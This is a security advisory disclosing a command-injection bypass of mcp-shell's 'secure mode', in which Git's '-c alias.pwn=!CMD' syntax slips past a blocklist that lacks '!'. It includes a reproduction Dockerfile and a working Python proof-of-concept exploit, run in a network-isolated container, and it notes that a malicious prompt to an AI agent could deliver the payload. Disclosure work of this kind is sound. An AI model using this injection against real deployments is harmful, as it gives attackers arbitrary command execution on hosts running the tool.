mcp-shell has a Secure Mode Allowlist Bypass via Git Shell Alias

Summary

mcp-shell's "secure mode" is designed to restrict command execution to an allowlist of executables defined in security.yaml. The default configuration includes /usr/bin/git. The security validator in security.go blocks common shell metacharacters (|&;<>(){}[]$\``) but omits !, which is the prefix Git uses to execute shell aliases (alias.NAME=!CMD). An attacker who can invoke the shell_execMCP tool can pass/usr/bin/git -c alias.pwn=!<arbitrary-command>as the command argument, bypassing all validation and achieving arbitrary OS command execution as themcp-shellprocess user. The default Docker image runs asmcpuser` (UID 1000) with Git installed and secure mode enabled, making this exploitable in the default deployment with no authentication required.

Details

The vulnerability is a classic OS Command Injection (CWE-78) in the shell_exec MCP tool handler. The data flow from attacker input to shell execution is:

1. main.go:89-91 — The MCP tool schema exposes a required string parameter command with no server-side type constraints.
2. main.go:102 — shell_exec is bound to shellHandler.handle.
3. handler.go:34 — The handler reads the attacker-controlled value: command, err := request.RequireString("command").
4. handler.go:49 — The command string is passed to h.validator.validateCommand(command).
5. security.go:136 — containsShellMetacharacters checks for |&;<>(){}[]$\`` but !` is absent from the blocked set.
6. security.go:147-149 — containsDangerousShellConstructs also does not include !.
7. security.go:85-96 — /usr/bin/git matches AllowedExecutables; no per-argument policy exists for Git. The blocked_patterns list in security.yaml:35 is empty ([]).
8. handler.go:59 — The fully validated (but unsafe) command is forwarded to h.executor.execute.
9. executor.go:149-163 — parseCommand splits the string with strings.Fields; exec.CommandContext(ctx, executable, args...) is called with executable="/usr/bin/git" and args=["-c", "alias.pwn=!touch", "pwn", "/tmp/target"].
10. executor.go:199 — cmd.Run() launches git. Git interprets -c alias.pwn=!touch as a runtime configuration entry, defining the alias pwn as the shell command touch. When Git resolves the subcommand pwn, it triggers the shell alias: sh -c 'touch "$@"' _ /tmp/target, creating the file.

The root cause is the missing ! in the metacharacter blocklist and the absence of any per-executable argument policy that would prevent Git's -c alias.*=! pattern.

Incriminated source locations:

• security.go:136 — metacharacter set missing !
• security.go:147-149 — containsDangerousShellConstructs missing !
• security.yaml:27 — /usr/bin/git in allowed_executables
• security.yaml:35 — blocked_patterns: []
• executor.go:149-163,199 — direct exec.CommandContext invocation with unsanitized Git arguments

PoC

Prerequisites:

• Docker installed and the mcp-shell-vuln-001 image built from the provided Dockerfile (repo root as build context, commit c30862f).
• Python 3 to run poc.py.

Build the Docker image:

docker build -f vuln-001/Dockerfile -t mcp-shell-vuln-001 .

Run the PoC:

python3 vuln-001/poc.py

The script performs the full MCP JSON-RPC handshake over stdin and sends the following tools/call request:

{
  "jsonrpc": "2.0",
  "id": 2,
  "method": "tools/call",
  "params": {
    "name": "shell_exec",
    "arguments": {
      "command": "/usr/bin/git -c alias.pwn=!touch pwn /tmp/mcp-shell-mcp-poc",
      "base64": false
    }
  }
}

The container's /tmp is bind-mounted to a host temporary directory so the evidence file can be observed on the host without docker exec.

Expected result:

• MCP response: {"status":"success","exit_code":0,"execution_time":"~3ms","security_info":{"security_enabled":true,...}}
• Evidence file created at <host_tmp>/mcp-shell-mcp-poc with uid=1000 (mcpuser), confirming arbitrary shell command execution inside the container.

Validation bypass explanation:

All checks pass; git receives alias.pwn=!touch as a config entry and executes touch as a shell alias.

Impact

This is an OS Command Injection vulnerability (CWE-78). Any entity that can issue an MCP tools/call request to a mcp-shell instance running with the default Docker configuration can execute arbitrary OS commands as the mcpuser process account (UID 1000) inside the container.

The default Docker deployment sets MCP_SHELL_SEC_CONFIG_FILE=/etc/mcp-shell/security.yaml, installs git, and runs as mcpuser. The shell_exec tool requires no additional authentication beyond MCP connectivity. "Secure mode" is explicitly marketed as the mechanism preventing command injection; this bypass nullifies that protection entirely.

Impacted parties:

• Users and operators who deploy the default mcp-shell Docker image and expose it to MCP clients (directly via stdio, or via an MCP bridge/proxy over the network).
• AI agent systems that integrate mcp-shell as a tool provider, where a compromised or malicious LLM prompt could supply the exploit payload as the command argument.

Reproduction artifacts

Dockerfile

# VULN-001: Secure Mode Allowlist Bypass via Git Shell Alias
# CWE-78: OS Command Injection
#
# This Dockerfile reproduces the exact default Docker deployment environment of
# sonirico/mcp-shell at commit c30862f that is affected by VULN-001.
#
# Vulnerability summary:
#   - security.yaml allows /usr/bin/git in allowed_executables
#   - The security validator (security.go) does not block '!' in arguments
#   - Git's '-c alias.NAME=!CMD' syntax executes CMD as a shell command
#   - This bypasses "secure mode" and achieves arbitrary command execution
#
# Build context must be the repo parent directory:
#   docker build -f vuln-001/Dockerfile -t mcp-shell-vuln-001 .

# Stage 1: Build the mcp-shell binary from the vulnerable source
FROM golang:1.25-alpine AS builder

RUN apk add --no-cache git ca-certificates

WORKDIR /src

# Download dependencies before copying source for better layer caching
COPY repo/go.mod repo/go.sum ./
RUN go mod download

# Copy and build the vulnerable source
COPY repo/*.go ./
RUN CGO_ENABLED=0 GOOS=linux go build \
    -ldflags "-s -w" \
    -o mcp-shell .

# Stage 2: Runtime environment matching the default mcp-shell Docker image
FROM alpine:3.22

# Install git — this is what the default Dockerfile does (apk add git),
# and it is what makes the exploit possible: /usr/bin/git is present and
# the security config allows it.
RUN apk add --no-cache bash git

# Create non-root user matching the default Docker image
RUN addgroup -g 1000 mcpuser && \
    adduser -D -s /bin/bash -u 1000 -G mcpuser mcpuser

# Install the mcp-shell binary
COPY --from=builder /src/mcp-shell /usr/local/bin/mcp-shell

# Install the default (vulnerable) security configuration.
# Key properties that enable the exploit:
#   allowed_executables includes /usr/bin/git
#   blocked_patterns is empty
#   security.go does not list '!' in blocked metacharacters
COPY repo/security.yaml /etc/mcp-shell/security.yaml

# Replicate the default environment variables from the repo Dockerfile
ENV MCP_SHELL_SEC_CONFIG_FILE=/etc/mcp-shell/security.yaml
ENV MCP_SHELL_LOG_FORMAT=json
ENV PATH="/usr/local/bin:${PATH}"

USER mcpuser
WORKDIR /home/mcpuser

# mcp-shell reads JSON-RPC over stdin and writes responses to stdout
ENTRYPOINT ["mcp-shell"]

poc.py

#!/usr/bin/env python3
"""
Proof-of-Concept for VULN-001: Secure Mode Allowlist Bypass via Git Shell Alias
Repository:  sonirico/mcp-shell (commit c30862f)
CWE-78:      OS Command Injection

Vulnerability:
    mcp-shell "secure mode" uses security.yaml to allowlist executables.
    The default config allows /usr/bin/git.  The security validator in
    security.go checks for metacharacters (|&;<>(){}[]$`\\) but does NOT
    include '!' in the blocked set.  Git's -c flag accepts runtime config
    overrides; setting 'alias.NAME=!CMD' defines a shell alias that runs
    CMD as a shell command when 'NAME' is used as a git subcommand.

Exploit payload (MCP tools/call -> shell_exec argument):
    /usr/bin/git -c alias.pwn=!touch pwn /tmp/mcp-shell-mcp-poc

    Validation path (all checks pass):
      containsShellMetacharacters("alias.pwn=!touch")  -> False  (! not in set)
      containsDangerousShellConstructs("alias.pwn=!touch") -> False (! not in set)
      matchesExecutable("/usr/bin/git", "/usr/bin/git") -> True

    Execution path:
      exec.CommandContext(ctx, "/usr/bin/git",
          "-c", "alias.pwn=!touch", "pwn", "/tmp/mcp-shell-mcp-poc")
      -> git defines alias pwn = !touch
      -> git runs subcommand "pwn" -> triggers shell alias
      -> sh -c 'touch "$@"' _ /tmp/mcp-shell-mcp-poc
      -> file /tmp/mcp-shell-mcp-poc is created

Evidence method:
    The container's /tmp is bind-mounted to a host temporary directory.
    After the MCP call, verify the evidence file exists on the host.

Usage:
    # From the repo parent directory:
    docker build -f vuln-001/Dockerfile -t mcp-shell-vuln-001 .
    python3 vuln-001/poc.py
"""

import json
import os
import subprocess
import sys
import tempfile
import stat

IMAGE_NAME = "mcp-shell-vuln-001"
EVIDENCE_FILENAME = "mcp-shell-mcp-poc"
EXPLOIT_TARGET = f"/tmp/{EVIDENCE_FILENAME}"

# MCP JSON-RPC protocol requires:
#   1. initialize handshake (client -> server)
#   2. notifications/initialized acknowledgement
#   3. tools/call with the exploit payload
MCP_INITIALIZE = json.dumps({
    "jsonrpc": "2.0",
    "id": 1,
    "method": "initialize",
    "params": {
        "protocolVersion": "2024-11-05",
        "capabilities": {},
        "clientInfo": {"name": "vuln-001-poc", "version": "1.0.0"},
    },
})

MCP_INITIALIZED = json.dumps({
    "jsonrpc": "2.0",
    "method": "notifications/initialized",
})

# The malicious command:
#   /usr/bin/git    - allowed by security.yaml AllowedExecutables
#   -c alias.pwn=!touch  - git runtime config; ! prefix = shell alias
#                          NOT blocked: '!' absent from security.go metachars
#   pwn             - triggers the alias (git subcommand lookup)
#   /tmp/<file>     - argument forwarded to touch by git shell alias
MCP_EXPLOIT = json.dumps({
    "jsonrpc": "2.0",
    "id": 2,
    "method": "tools/call",
    "params": {
        "name": "shell_exec",
        "arguments": {
            "command": f"/usr/bin/git -c alias.pwn=!touch pwn {EXPLOIT_TARGET}",
            "base64": False,
        },
    },
})


def run(args, **kwargs):
    print(f"[*] {' '.join(str(a) for a in args)}")
    return subprocess.run(args, **kwargs)


def parse_mcp_response(stdout_text):
    """Parse newline-delimited JSON-RPC responses, return the tools/call result."""
    for line in stdout_text.splitlines():
        line = line.strip()
        if not line:
            continue
        try:
            msg = json.loads(line)
            if msg.get("id") == 2:
                return msg
        except json.JSONDecodeError:
            pass
    return None


def main():
    print("=" * 62)
    print("VULN-001 PoC — mcp-shell Secure Mode Bypass via Git Alias")
    print("=" * 62)
    print()

    # Create a host-side temporary directory that will be bind-mounted
    # as /tmp inside the container.  This lets us observe file creation
    # caused by the git shell alias without needing 'docker exec'.
    host_tmp = tempfile.mkdtemp(prefix="mcp-vuln001-")
    # Allow UID 1000 (mcpuser inside the container) to write files here.
    os.chmod(host_tmp, 0o1777)
    evidence_host_path = os.path.join(host_tmp, EVIDENCE_FILENAME)

    print(f"[*] Host bind-mount (-> /tmp inside container): {host_tmp}")
    print(f"[*] Expected evidence file on host: {evidence_host_path}")
    print()
    print(f"[*] Exploit command (shell_exec argument):")
    print(f"      /usr/bin/git -c alias.pwn=!touch pwn {EXPLOIT_TARGET}")
    print()

    # Build the newline-delimited JSON-RPC payload sent over stdin.
    # mcp-shell reads one JSON object per line.
    payload_bytes = (
        MCP_INITIALIZE + "\n" +
        MCP_INITIALIZED + "\n" +
        MCP_EXPLOIT + "\n"
    ).encode()

    print("[*] Sending MCP JSON-RPC payload to container via stdin ...")
    try:
        proc = run(
            [
                "docker", "run",
                "--rm",            # Remove container on exit
                "-i",              # Keep stdin open for piped input
                "--network=none",  # No external network access (safety)
                "-v", f"{host_tmp}:/tmp",   # Expose container's /tmp on host
                IMAGE_NAME,
            ],
            input=payload_bytes,
            capture_output=True,
            timeout=40,
        )
    except subprocess.TimeoutExpired:
        print("[FAIL] docker run timed out after 40 seconds")
        sys.exit(1)
    except FileNotFoundError:
        print("[FAIL] 'docker' not found — install Docker to run this PoC")
        sys.exit(1)

    stdout = proc.stdout.decode(errors="replace")
    stderr = proc.stderr.decode(errors="replace")

    print()
    print("[*] Container stdout (MCP responses):")
    for line in stdout.splitlines():
        print(f"    {line}")

    if stderr.strip():
        print("[*] Container stderr:")
        for line in stderr.splitlines():
            print(f"    {line}")

    print()

    # Locate and pretty-print the tools/call MCP response.
    exploit_response = parse_mcp_response(stdout)
    if exploit_response:
        print("[*] MCP tools/call response (id=2):")
        print(json.dumps(exploit_response, indent=4))
        print()

    # --- Primary evidence check ---
    if os.path.exists(evidence_host_path):
        st = os.stat(evidence_host_path)
        print(f"[PASS] Evidence file found on host: {evidence_host_path}")
        print(f"       size={st.st_size}  mode={oct(st.st_mode)}  uid={st.st_uid}")
        print()
        print("[PASS] EXPLOIT SUCCESSFUL")
        print("       'touch /tmp/mcp-shell-mcp-poc' was executed INSIDE the container")
        print("       by the git shell alias, bypassing mcp-shell secure mode.")
        passed = True
        evidence = (
            f"File '{evidence_host_path}' created on host via /tmp volume mount. "
            f"size={st.st_size} uid={st.st_uid} mode={oct(st.st_mode)}. "
            f"MCP response: {json.dumps(exploit_response) if exploit_response else 'n/a'}"
        )
    else:
        print(f"[FAIL] Evidence file NOT found at: {evidence_host_path}")
        print("[FAIL] EXPLOIT FAILED")
        if exploit_response:
            result_content = exploit_response.get("result", {})
            print(f"       MCP result: {json.dumps(result_content)}")
        passed = False
        evidence = (
            f"Evidence file was not created. "
            f"stdout={stdout[:600]!r} stderr={stderr[:300]!r}"
        )

    print()
    return passed, evidence


if __name__ == "__main__":
    passed, evidence = main()
    sys.exit(0 if passed else 1)